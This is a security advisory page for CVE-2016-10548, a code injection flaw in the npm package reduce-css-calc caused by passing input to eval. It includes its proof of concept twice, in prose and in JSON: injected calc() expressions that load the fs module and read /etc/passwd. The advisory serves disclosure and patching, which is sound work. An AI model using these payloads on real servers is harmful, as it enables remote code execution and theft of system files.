ghsa-4662-j96g-mv46
Vulnerability from github
Published
2018-06-07 19:43
Modified
2020-08-31 18:12
VLAI Severity ?
Summary
Arbitrary Code Injection in reduce-css-calc
Details
Affected versions of reduce-css-calc pass input directly to eval. If user input is passed into the calc function, this may result in cross-site scripting on the browser, or remote code execution on the server.
Proof of Concept
const reduceCSSCalc = require('reduce-css-calc');
console.log(reduceCSSCalc(`calc( (Buffer(10000)))`));
console.log(reduceCSSCalc(`calc( (global['fs'] = require('fs')))`));
console.log(reduceCSSCalc(`calc( (fs['readFileSync']("/etc/passwd", "utf-8")))`));
Recommendation
Update to version 1.2.5 or later.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "reduce-css-calc"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2016-10548"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T20:57:38Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "Affected versions of `reduce-css-calc` pass input directly to `eval`. If user input is passed into the calc function, this may result in cross-site scripting on the browser, or remote code execution on the server.\n\n## Proof of Concept\n\n```\nconst reduceCSSCalc = require(\u0027reduce-css-calc\u0027);\nconsole.log(reduceCSSCalc(`calc( (Buffer(10000)))`));\nconsole.log(reduceCSSCalc(`calc( (global[\u0027fs\u0027] = require(\u0027fs\u0027)))`));\nconsole.log(reduceCSSCalc(`calc( (fs[\u0027readFileSync\u0027](\"/etc/passwd\", \"utf-8\")))`));\n```\n\n\n\n## Recommendation\n\nUpdate to version 1.2.5 or later.",
"id": "GHSA-4662-j96g-mv46",
"modified": "2020-08-31T18:12:20Z",
"published": "2018-06-07T19:43:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-10548"
},
{
"type": "WEB",
"url": "https://gist.github.com/ChALkeR/415a41b561ebea9b341efbb40b802fc9"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-4662-j96g-mv46"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/144"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Arbitrary Code Injection in reduce-css-calc"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.
Loading…
Loading…